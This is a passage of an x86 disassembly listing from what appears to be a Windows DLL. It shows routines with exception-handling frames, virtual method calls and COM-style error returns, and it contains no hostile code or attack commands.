		jz	short loc_69B78979
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+3Ch]
		push	eax
		call	sub_69B7808B
		mov	esi, eax
		mov	[ebp-30h], esi
		or	dword ptr [esi+10h], 8
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_69B787C4
		push	0
		push	dword ptr [ebp-24h]
		mov	ecx, esi
		call	sub_69B77E15
		push	eax
		mov	ecx, [ebp-1Ch]
		call	sub_69B3D6D2
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebx+34h]
		call	sub_69B199CC
		jmp	short loc_69B78979
; END OF FUNCTION CHUNK	FOR sub_69B78A1F

; =============== S U B	R O U T	I N E =======================================



sub_69B7896D	proc near		; DATA XREF: .text:69B7898Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
sub_69B7896D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B78976	proc near		; DATA XREF: .text:69B78990o
		mov	esp, [ebp-18h]
sub_69B78976	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_69B78A1F


loc_69B78979:				; CODE XREF: sub_69B78A1F-F5j
					; sub_69B78A1F-B4j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_69B1853C
		retn
; END OF FUNCTION CHUNK	FOR sub_69B78A1F
; ---------------------------------------------------------------------------
		align 8
dword_69B78988	dd 0FFFFFFFFh			dd offset sub_69B7896D
		dd offset sub_69B78976

; =============== S U B	R O U T	I N E =======================================



sub_69B78994	proc near		; CODE XREF: sub_69B5D45C+12Fp
					; .text:69B779FEp
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B1D6B9
		lea	edi, [esi+24h]
		mov	ecx, edi
		call	sub_69B1818F
		mov	dword ptr [edi], offset	off_69B143D8
		mov	dword ptr [esi], offset	off_69B1441C
		mov	dword ptr [esi+0Ch], offset off_69B2A550
		xor	eax, eax
		mov	[esi+28h], eax
		mov	[esi+2Ch], eax
		mov	[esi+30h], eax
		mov	[esi+34h], eax
		lea	edi, [esi+38h]
		mov	[edi], eax
		mov	dword ptr [esi+3Ch], offset off_69B789F4
		and	dword ptr [esi+40h], 0FFFFFFF0h
		call	sub_69B1B352
		push	eax
		push	edi
		call	sub_69B17320
		mov	edi, [edi]
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+8]
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_69B78994	endp

; ---------------------------------------------------------------------------
		align 4
off_69B789F4	dd offset loc_69B77B66	; DATA XREF: sub_69B78994+39o
		dd offset sub_69B780A2
		dd offset sub_69B780B4
		dd offset sub_69B78D24

; =============== S U B	R O U T	I N E =======================================



sub_69B78A04	proc near		; CODE XREF: .text:69B788C0j
					; DATA XREF: .text:69B14428o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B7885C
		test	[esp+4+arg_0], 1
		jz	short loc_69B78A19
		push	esi
		call	sub_69B1829F


loc_69B78A19:				; CODE XREF: sub_69B78A04+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B78A04	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B78A1F	proc near		; CODE XREF: sub_69B77417+11j
					; sub_69B78A58+Ap

; FUNCTION CHUNK AT 69B788DF SIZE 0000008E BYTES
; FUNCTION CHUNK AT 69B78979 SIZE 0000000A BYTES

		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+34h], 0
		jnz	short loc_69B78A56
		mov	ecx, [esi+28h]
		call	sub_69B3DABE
		push	eax
		mov	ecx, esi
		call	sub_69B786CD
		test	al, al
		jnz	short loc_69B78A56
		mov	ecx, [esi+28h]
		cmp	dword ptr [ecx+40h], 4
		jnz	short loc_69B78A56
		call	sub_69B3D6C4
		test	eax, eax
		jz	short loc_69B78A56
		mov	ecx, esi
		pop	esi
		jmp	loc_69B788DF
; ---------------------------------------------------------------------------


loc_69B78A56:				; CODE XREF: sub_69B78A1F+7j
					; sub_69B78A1F+1Bj ...
		pop	esi
		retn
sub_69B78A1F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_69B78A58	proc near		; CODE XREF: sub_69B77375+24p
					; sub_69B773BE+33p ...
		push	esi
		mov	esi, ecx
		call	sub_69B78479
		mov	ecx, esi
		call	sub_69B78A1F
		mov	esi, [esi+2Ch]
		test	esi, esi
		jz	short loc_69B78A76
		mov	eax, [esi]
		push	0
		push	esi
		call	dword ptr [eax+0Ch]


loc_69B78A76:				; CODE XREF: sub_69B78A58+14j
		pop	esi
		retn
sub_69B78A58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B78A78	proc near		; CODE XREF: sub_69B78D24+7Ep

var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		mov	ebx, ecx
		push	edi
		mov	[ebp+var_10], ebx
		call	sub_69B8A676
		mov	edi, [ebp+arg_8]
		mov	esi, eax
		xor	eax, eax
		cmp	[ebx+34h], eax
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], eax
		jnz	short loc_69B78ADA
		cmp	[ebp+arg_0], 1
		jnz	loc_69B78D1D
		cmp	[ebp+arg_4], 2
		jnz	loc_69B78D1D
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx]
		call	dword ptr [eax+44h]
		cmp	eax, 3
		jnz	loc_69B78D1D
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+44h]
		test	eax, eax
		jnz	loc_69B78D1D
		mov	ecx, ebx
		call	sub_69B78A58
		jmp	short loc_69B78AE6
; ---------------------------------------------------------------------------


loc_69B78ADA:				; CODE XREF: sub_69B78A78+23j
		cmp	[ebp+arg_0], 1
		jz	short loc_69B78AE6
		cmp	[ebp+arg_0], 2
		jnz	short loc_69B78B06


loc_69B78AE6:				; CODE XREF: sub_69B78A78+60j
					; sub_69B78A78+66j
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+44h]
		cmp	eax, 1
		jnz	short loc_69B78B06
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx]
		and	[ebp+arg_0], 0
		mov	edi, ecx
		call	dword ptr [eax+0F4h]
		mov	[ebp+arg_C], eax


loc_69B78B06:				; CODE XREF: sub_69B78A78+6Cj
					; sub_69B78A78+78j
		mov	eax, [esi]
		push	edi
		mov	ecx, esi
		call	dword ptr [eax+4Ch]
		mov	edi, [ebp+arg_C]
		jmp	short loc_69B78B25
; ---------------------------------------------------------------------------


loc_69B78B13:				; CODE XREF: sub_69B78A78+B1j
		mov	eax, [esi]
		push	edi
		call	dword ptr [eax+4Ch]
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+0F4h]
		mov	edi, eax


loc_69B78B25:				; CODE XREF: sub_69B78A78+99j
		test	edi, edi
		mov	ecx, esi
		jnz	short loc_69B78B13
		mov	eax, [ebx+34h]
		mov	edi, [eax+4Ch]
		mov	eax, [esi]
		mov	[ebp+arg_8], edi
		call	dword ptr [eax+48h]
		test	byte ptr [ebx+40h], 4
		jz	short loc_69B78B5C
		lea	eax, [ebp+var_14]
		push	eax
		mov	ecx, edi
		call	sub_69B49F0B
		test	eax, eax
		mov	[ebp+arg_8], eax
		jz	loc_69B78D1D
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+48h]


loc_69B78B5C:				; CODE XREF: sub_69B78A78+C5j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+40h]
		test	al, al
		jz	short loc_69B78B7D
		cmp	[ebp+arg_4], 2
		jnz	loc_69B78D1D
		mov	ecx, ebx
		call	sub_69B78A58
		jmp	loc_69B78D1D
; ---------------------------------------------------------------------------


loc_69B78B7D:				; CODE XREF: sub_69B78A78+EDj
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+40h]
		test	al, al
		jnz	loc_69B78D1D


loc_69B78B8C:				; CODE XREF: sub_69B78A78+18Ej
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+48h]
		mov	ebx, eax
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+38h]
		lea	ecx, [ebp+arg_8]
		push	ecx
		lea	ecx, [ebp+var_C]
		push	ecx
		push	eax
		push	[ebp+arg_8]
		call	sub_69B7848B
		cmp	[ebp+arg_8], 0
		jz	short loc_69B78C0E
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 19h
		mov	edi, eax
		jg	short loc_69B78BC5
		call	sub_69B2E6D8


loc_69B78BC5:				; CODE XREF: sub_69B78A78+146j
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx]
		mov	edi, [edi+70h]
		call	dword ptr [eax+38h]
		cmp	eax, edi
		jnz	short loc_69B78BFD
		mov	ecx, [ebp+var_4]
		test	ecx, ecx
		jz	short loc_69B78BEA
		mov	eax, [ebp+var_C]
		dec	eax
		push	eax
		push	[ebp+var_8]
		call	sub_69B79286
		jmp	short loc_69B78BF0
; ---------------------------------------------------------------------------


loc_69B78BEA:				; CODE XREF: sub_69B78A78+161j
		mov	eax, [ebp+var_10]
		mov	eax, [eax+30h]


loc_69B78BF0:				; CODE XREF: sub_69B78A78+170j
		test	eax, eax
		jz	short loc_69B78C0A
		mov	eax, [eax+10h]
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], ebx


loc_69B78BFD:				; CODE XREF: sub_69B78A78+15Aj
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+40h]
		test	al, al
		jz	short loc_69B78B8C
		jmp	short loc_69B78C0E
; ---------------------------------------------------------------------------


loc_69B78C0A:				; CODE XREF: sub_69B78A78+17Aj
		and	[ebp+var_4], 0


loc_69B78C0E:				; CODE XREF: sub_69B78A78+139j
					; sub_69B78A78+190j
		xor	eax, eax
		cmp	[ebp+var_4], eax
		jz	loc_69B78D1D
		cmp	[ebp+arg_8], eax
		jz	loc_69B78D1D
		cmp	[ebp+var_8], eax
		jz	loc_69B78D1D
		xor	ecx, ecx
		cmp	[ebp+arg_4], eax
		mov	eax, dword_69B95A84
		setz	cl
		cmp	dword ptr [eax+8], 18h
		mov	esi, eax
		mov	edi, ecx
		mov	[ebp+arg_4], edi
		jg	short loc_69B78C4A
		call	sub_69B2E6D8


loc_69B78C4A:				; CODE XREF: sub_69B78A78+1CBj
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx]
		mov	esi, [esi+6Ch]
		call	dword ptr [eax+38h]
		cmp	eax, esi
		jnz	short loc_69B78C6C
		mov	ecx, [ebp+var_8]
		mov	eax, [ecx]
		and	[ebp+arg_0], 0
		push	1
		call	dword ptr [eax+88h]
		jmp	short loc_69B78C96
; ---------------------------------------------------------------------------


loc_69B78C6C:				; CODE XREF: sub_69B78A78+1DFj
		cmp	[ebp+arg_0], 0
		jnz	short loc_69B78C77
		mov	esi, [ebp+var_8]
		jmp	short loc_69B78C83
; ---------------------------------------------------------------------------


loc_69B78C77:				; CODE XREF: sub_69B78A78+1F8j
		test	edi, edi
		jz	short loc_69B78CB5
		cmp	[ebp+arg_0], 1
		jz	short loc_69B78CBB


loc_69B78C81:				; CODE XREF: sub_69B78A78+241j
		mov	esi, ebx


loc_69B78C83:				; CODE XREF: sub_69B78A78+1FDj
					; sub_69B78A78+246j
		mov	eax, [ebx]
		push	0
		mov	ecx, ebx
		call	dword ptr [eax+38h]
		mov	ecx, [ebp+arg_C]
		push	eax
		push	esi
		call	sub_69B4A680


loc_69B78C96:				; CODE XREF: sub_69B78A78+1F2j
		mov	esi, eax
		mov	eax, [ebp+arg_0]
		inc	esi
		sub	eax, 0
		jz	short loc_69B78CCE
		dec	eax
		jz	short loc_69B78CC0
		dec	eax
		jnz	short loc_69B78D1D
		mov	ecx, [ebp+var_4]
		push	edi
		push	1
		push	esi
		call	sub_69B791F7
		jmp	short loc_69B78D1D
; ---------------------------------------------------------------------------


loc_69B78CB5:				; CODE XREF: sub_69B78A78+201j
		cmp	[ebp+arg_0], 2
		jnz	short loc_69B78C81


loc_69B78CBB:				; CODE XREF: sub_69B78A78+207j
		mov	esi, [ebp+arg_10]
		jmp	short loc_69B78C83
; ---------------------------------------------------------------------------


loc_69B78CC0:				; CODE XREF: sub_69B78A78+22Aj
		mov	ecx, [ebp+var_4]
		push	edi
		push	1
		push	esi
		call	sub_69B791A9
		jmp	short loc_69B78D1D
; ---------------------------------------------------------------------------


loc_69B78CCE:				; CODE XREF: sub_69B78A78+227j
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 19h
		mov	edi, eax
		jg	short loc_69B78CE0
		call	sub_69B2E6D8


loc_69B78CE0:				; CODE XREF: sub_69B78A78+261j
		mov	ebx, [ebp+arg_8]
		mov	eax, [ebx]
		mov	edi, [edi+70h]
		mov	ecx, ebx
		call	dword ptr [eax+38h]
		cmp	eax, edi
		jnz	short loc_69B78D0E
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		push	offset MultiByteStr ; lpMultiByteStr
		call	sub_69B1D494
		push	eax
		call	sub_69B1A2EC
		push	eax
		push	ebx
		call	sub_69B7848B


loc_69B78D0E:				; CODE XREF: sub_69B78A78+277j
		push	[ebp+arg_4]
		mov	ecx, [ebp+var_4]
		push	[ebp+var_C]
		push	esi
		call	sub_69B7917A


loc_69B78D1D:				; CODE XREF: sub_69B78A78+29j
					; sub_69B78A78+33j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	14h
sub_69B78A78	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B78D24	proc near		; DATA XREF: .text:69B78A00o
		push	24h
		push	offset dword_69B78DE8
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B78D49
		mov	eax, 80004005h
		jmp	loc_69B78DE0
; ---------------------------------------------------------------------------


loc_69B78D49:				; CODE XREF: sub_69B78D24+19j
		mov	esi, [ebp+8]
		add	esi, 0FFFFFFC4h
		push	esi
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		mov	[ebp-4], edi
		mov	[ebp-2Ch], edi
		push	dword ptr [ebp+14h]
		call	sub_69B47D5E
		mov	[ebp-30h], eax
		cmp	eax, edi
		jz	short loc_69B78DC9
		push	dword ptr [ebp+18h]
		call	sub_69B47D5E
		mov	[ebp-34h], eax
		cmp	eax, edi
		jz	short loc_69B78DC9
		cmp	[ebp+1Ch], edi
		jz	short loc_69B78D91
		push	dword ptr [ebp+1Ch]
		call	sub_69B47D5E
		mov	[ebp-2Ch], eax
		cmp	eax, edi
		jz	short loc_69B78DC9


loc_69B78D91:				; CODE XREF: sub_69B78D24+5Cj
		push	dword ptr [ebp-2Ch]
		push	dword ptr [ebp-34h]
		push	dword ptr [ebp-30h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		mov	ecx, esi
		call	sub_69B78A78
		jmp	short loc_69B78DC9
; ---------------------------------------------------------------------------


loc_69B78DA9:				; DATA XREF: .text:69B78DECo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B78DB2:				; DATA XREF: .text:69B78DF0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B78DC9:				; CODE XREF: sub_69B78D24+48j
					; sub_69B78D24+57j ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B78DE0:				; CODE XREF: sub_69B78D24+20j
		call	sub_69B1853C
		retn	18h
sub_69B78D24	endp

; ---------------------------------------------------------------------------
dword_69B78DE8	dd 0FFFFFFFFh			dd offset loc_69B78DA9
		dd offset loc_69B78DB2

; =============== S U B	R O U T	I N E =======================================



sub_69B78DF4	proc near		; CODE XREF: sub_69B5D45C+1A3p
					; sub_69B7759C+6Fp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+28h]
		mov	ecx, [edi]
		test	ecx, ecx
		jz	short loc_69B78E0A
		lea	eax, [esi+3Ch]
		push	eax
		call	sub_69B774BB


loc_69B78E0A:				; CODE XREF: sub_69B78DF4+Bj
		push	[esp+8+arg_0]
		push	edi
		call	sub_69B17320
		mov	ecx, [edi]
		test	ecx, ecx
		jz	short loc_69B78E7E
		lea	eax, [esi+3Ch]
		push	eax
		call	sub_69B778FC
		mov	ecx, [esi+10h]
		test	ecx, ecx
		jz	short loc_69B78E31
		call	sub_69B88114
		jmp	short loc_69B78E33
; ---------------------------------------------------------------------------


loc_69B78E31:				; CODE XREF: sub_69B78DF4+34j
		xor	eax, eax


loc_69B78E33:				; CODE XREF: sub_69B78DF4+3Bj
		test	eax, eax
		jz	short loc_69B78E55
		mov	ecx, [esi+10h]
		push	ebx
		mov	ebx, [edi]
		add	ebx, 0Ch
		test	ecx, ecx
		jz	short loc_69B78E4B
		call	sub_69B88114
		jmp	short loc_69B78E4D
; ---------------------------------------------------------------------------


loc_69B78E4B:				; CODE XREF: sub_69B78DF4+4Ej
		xor	eax, eax


loc_69B78E4D:				; CODE XREF: sub_69B78DF4+55j
		mov	edx, [ebx]
		push	eax
		mov	ecx, ebx
		call	dword ptr [edx]
		pop	ebx


loc_69B78E55:				; CODE XREF: sub_69B78DF4+41j
		mov	eax, [edi]
		lea	ecx, [eax+0Ch]
		mov	eax, [esi+1Ch]
		mov	edx, [ecx]
		push	eax
		push	eax
		push	offset stru_69B1CA6C
		call	dword ptr [edx+4]
		mov	eax, [edi]
		push	esi
		add	eax, 0F0h
		push	eax
		call	sub_69B2DEB2
		mov	ecx, esi
		call	sub_69B78A58


loc_69B78E7E:				; CODE XREF: sub_69B78DF4+24j
		pop	edi
		pop	esi
		retn	4
sub_69B78DF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B78E83	proc near		; DATA XREF: .text:69B16988o
		push	20h
		push	offset dword_69B78F38
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B78EA8
		mov	eax, 80004005h
		jmp	loc_69B78F2D
; ---------------------------------------------------------------------------


loc_69B78EA8:				; CODE XREF: sub_69B78E83+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+10h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B552
		push	dword ptr [esi+14h]
		lea	ecx, [ebp-2Ch]
		call	sub_69B1986C
		mov	edi, [ebp+14h]
		cmp	edi, ebx
		jnz	short loc_69B78ED0
		mov	ebx, 80070057h
		jmp	short loc_69B78F12
; ---------------------------------------------------------------------------


loc_69B78ED0:				; CODE XREF: sub_69B78E83+44j
		mov	[ebp-4], ebx
		mov	ecx, [esi+10h]
		mov	[ebp-30h], ecx
		mov	eax, [ecx]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		call	dword ptr [eax+38h]
		mov	[edi], eax
		jmp	short loc_69B78F0E
; ---------------------------------------------------------------------------


loc_69B78EE8:				; DATA XREF: .text:69B78F3Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B78EF1:				; DATA XREF: .text:69B78F40o
		mov	esp, [ebp-18h]
		mov	eax, [ebp+14h]
		and	dword ptr [eax], 0
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B78F0E:				; CODE XREF: sub_69B78E83+63j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B78F12:				; CODE XREF: sub_69B78E83+4Bj
		lea	ecx, [ebp-2Ch]
		call	sub_69B1948C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B78F2D:				; CODE XREF: sub_69B78E83+20j
		call	sub_69B1853C
		retn	10h
sub_69B78E83	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B78F38	dd 0FFFFFFFFh			dd offset loc_69B78EE8
		dd offset loc_69B78EF1

; =============== S U B	R O U T	I N E =======================================



sub_69B78F44	proc near		; DATA XREF: .text:69B16994o
		push	20h
		push	offset dword_69B78FE0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B78F66
		mov	eax, 80004005h
		jmp	short loc_69B78FD2
; ---------------------------------------------------------------------------


loc_69B78F66:				; CODE XREF: sub_69B78F44+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+10h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B552
		push	dword ptr [esi+14h]
		lea	ecx, [ebp-2Ch]
		call	sub_69B1986C
		mov	[ebp-4], edi
		mov	ecx, [esi+10h]
		mov	[ebp-30h], ecx
		mov	eax, [ecx]
		push	dword ptr [ebp+0Ch]
		call	dword ptr [eax+3Ch]
		jmp	short loc_69B78FB3
; ---------------------------------------------------------------------------


loc_69B78F93:				; DATA XREF: .text:69B78FE4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B78F9C:				; DATA XREF: .text:69B78FE8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B78FB3:				; CODE XREF: sub_69B78F44+4Dj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B1948C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B78FD2:				; CODE XREF: sub_69B78F44+20j
		call	sub_69B1853C
		retn	8
sub_69B78F44	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B78FE0	dd 0FFFFFFFFh			dd offset loc_69B78F93
		dd offset loc_69B78F9C

; =============== S U B	R O U T	I N E =======================================



sub_69B78FEC	proc near		; DATA XREF: .text:69B16998o
		push	20h
		push	offset dword_69B79088
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B7900E
		mov	eax, 80004005h
		jmp	short loc_69B7907A
; ---------------------------------------------------------------------------


loc_69B7900E:				; CODE XREF: sub_69B78FEC+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+10h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B552
		push	dword ptr [esi+14h]
		lea	ecx, [ebp-2Ch]
		call	sub_69B1986C
		mov	[ebp-4], edi
		mov	ecx, [esi+10h]
		mov	[ebp-30h], ecx
		mov	eax, [ecx]
		push	dword ptr [ebp+0Ch]
		call	dword ptr [eax+40h]
		jmp	short loc_69B7905B
; ---------------------------------------------------------------------------


loc_69B7903B:				; DATA XREF: .text:69B7908Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B79044:				; DATA XREF: .text:69B79090o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B7905B:				; CODE XREF: sub_69B78FEC+4Dj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B1948C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B7907A:				; CODE XREF: sub_69B78FEC+20j
		call	sub_69B1853C
		retn	8
sub_69B78FEC	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B79088	dd 0FFFFFFFFh			dd offset loc_69B7903B
		dd offset loc_69B79044

; =============== S U B	R O U T	I N E =======================================



sub_69B79094	proc near		; DATA XREF: .text:69B144D8o
		xor	eax, eax
		cmp	[ecx+40h], al
		setz	al
		retn	8
sub_69B79094	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7909F	proc near		; DATA XREF: .text:69B144F8o
		mov	eax, [ecx]
		jmp	dword ptr [eax+38h]
sub_69B7909F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B790A4	proc near		; CODE XREF: sub_69B79731+46p
					; sub_69B79B41+10p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi]
		push	edi
		lea	ecx, [ebp+arg_0]
		push	ecx
		mov	ecx, esi
		call	dword ptr [eax+68h]
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jle	short loc_69B790CC


loc_69B790BE:				; CODE XREF: sub_69B790A4+26j
		mov	eax, [esi]
		lea	ecx, [ebp+arg_0]
		push	ecx
		mov	ecx, esi
		call	dword ptr [eax+6Ch]
		dec	edi
		jnz	short loc_69B790BE


loc_69B790CC:				; CODE XREF: sub_69B790A4+18j
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_69B790A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B790D2	proc near		; CODE XREF: sub_69B790D2+40p
					; sub_69B79731+184p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	ebx, ecx
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, [edi]
		lea	ecx, [ebp+arg_0]
		push	ecx
		mov	ecx, edi
		call	dword ptr [eax+68h]
		jmp	short loc_69B79126
; ---------------------------------------------------------------------------


loc_69B790EA:				; CODE XREF: sub_69B790D2+58j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		test	eax, eax
		jnz	short loc_69B79101
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		cmp	eax, [ebp+arg_4]
		jz	short loc_69B79133


loc_69B79101:				; CODE XREF: sub_69B790D2+21j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+74h]
		test	al, al
		jz	short loc_69B7911B
		push	[ebp+arg_4]
		mov	ecx, ebx
		push	esi
		call	sub_69B790D2
		test	eax, eax
		jnz	short loc_69B7912C


loc_69B7911B:				; CODE XREF: sub_69B790D2+38j
		mov	eax, [edi]
		lea	ecx, [ebp+arg_0]
		push	ecx
		mov	ecx, edi
		call	dword ptr [eax+6Ch]


loc_69B79126:				; CODE XREF: sub_69B790D2+16j
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B790EA


loc_69B7912C:				; CODE XREF: sub_69B790D2+47j
					; sub_69B790D2+63j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------


loc_69B79133:				; CODE XREF: sub_69B790D2+2Dj
		mov	eax, esi
		jmp	short loc_69B7912C
sub_69B790D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B79137	proc near		; CODE XREF: sub_69B79D26+9Cp
					; sub_69B79D26+A3p
		push	offset dword_69B79144 ;	lpString
		call	sub_69B1A587
		retn
sub_69B79137	endp

; ---------------------------------------------------------------------------
		align 4
; const	WCHAR dword_69B79144
dword_69B79144	dd 5Eh		
; =============== S U B	R O U T	I N E =======================================



sub_69B79148	proc near		; CODE XREF: sub_69B794F9+57p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		mov	esi, ecx
		jl	short loc_69B79159
		cmp	edi, [esi+8]
		jl	short loc_69B7915E


loc_69B79159:				; CODE XREF: sub_69B79148+Aj
		call	sub_69B2E6D8


loc_69B7915E:				; CODE XREF: sub_69B79148+Fj
		lea	eax, [esi+edi*8+0Ch]
		pop	edi
		pop	esi
		retn	4
sub_69B79148	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B79167	proc near		; DATA XREF: .text:69B144D4o
		mov	ecx, [ecx+10h]
		mov	eax, [ecx]
		jmp	dword ptr [eax+70h]
sub_69B79167	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7916F	proc near		; DATA XREF: .text:69B144F4o
		mov	eax, [ecx+4]
		movzx	eax, byte ptr [eax+8Ch]
		retn
sub_69B7916F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7917A	proc near		; CODE XREF: sub_69B78A78+2A0p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ecx+44h]
		test	eax, eax
		jz	short loc_69B791A5
		cmp	[ebp+arg_8], 0
		push	[ebp+arg_4]
		mov	ecx, [eax]
		push	[ebp+arg_0]
		push	eax
		jz	short loc_69B791A2
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jz	short loc_69B791A5
		push	eax
		call	sub_69B2E8B8
		jmp	short loc_69B791A5
; ---------------------------------------------------------------------------


loc_69B791A2:				; CODE XREF: sub_69B7917A+17j
		call	dword ptr [ecx+10h]


loc_69B791A5:				; CODE XREF: sub_69B7917A+8j
					; sub_69B7917A+1Ej ...
		pop	ebp
		retn	0Ch
sub_69B7917A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B791A9	proc near		; CODE XREF: sub_69B78A78+24Fp

